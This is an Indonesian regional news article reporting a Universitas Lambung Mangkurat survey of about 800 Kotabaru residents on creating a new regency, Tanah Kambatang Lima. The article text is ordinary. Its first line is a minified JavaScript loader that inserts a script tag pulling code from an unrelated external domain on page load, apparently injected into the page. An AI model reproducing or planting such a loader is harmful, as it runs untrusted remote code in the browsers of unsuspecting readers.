(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Warga Dukung Tanah Kambatang Lima Menjadi Kabupaten Baru

KANALKALIMANTAN.COM, KOTABARU – Kawasan wisata alam Goa Lowo menjadi tempat terakhir pusat kajian kebijakan publik Universitas Lambung Mangkurat (ULM), Minggu (19/3/23) seetelah melakukan berbagai kegiatan utamanya survey persepsi publik terkait pengetahuan, dukungan dan keinginan menjadikan Calon Daerah Otonom Baru (CDOB) Tanah Kambatang Lima.

Ada delapan orang yang diturunkan dan Dr Taufik Arbain merupakan ketua tim, dan kegiatan yang dilaksanakan sejak tanggal 17 – 19 Maret 2023, dan ada sekitar 800 orang untuk sample yang didatangi.

Meskipun memasuki medan berlumpur dan dengan rintangan lainnya, hal tersebut dilakukan guna mengetahui sejauh mana keinginan warga untuk berpisah dengan daerah induk, yakni Kabupaten Kotabaru menjadi kabupaten baru yang diberi nama Tanah Kambatang Lima.

Rabbiansyah, yang merupakan anggota DPRD Kotabatu yang juga Ketua Tim Percepatan Pemekaran CDOB Tanah Kambatang Lima merasa bersyukur, mendapatkan laporan awal bahwa warga yang dilakukan survei mendukung 100 persen atas lahirnya Tanah Kambatang Lima.

“Mudahan hasil kajian segera diolah dan di rilis, apalagi kajian persepsi publik ini di bawah naungan Balitbangda Provinsi Kalsel yang menggunakan anggaran Pemerintah Daerah Provinsi Kalsel. Tentu kita sama-sama berharap yang terbaik, untuk melengkapi persyaratan persetujuan CDOB dari pemerintah pusat nantinya,” ujar dia.

Dia mengucapkan terima kasih kepada pengurus inti TP2CK TKL, korwil, korcam dan kordes, kepala desa, ketua BPD dan seluruh pihak yang terlibat menyambut tim kajian di desa masing-masing, sehingga kajian bisa berjalan dengan sukses.

“Mudah-mudahan akan sesuai harapan masyarakat,” pungkas dia. (kanalkalimantan.com/muhammad)

Reporter: muhammad
Editor: Dhani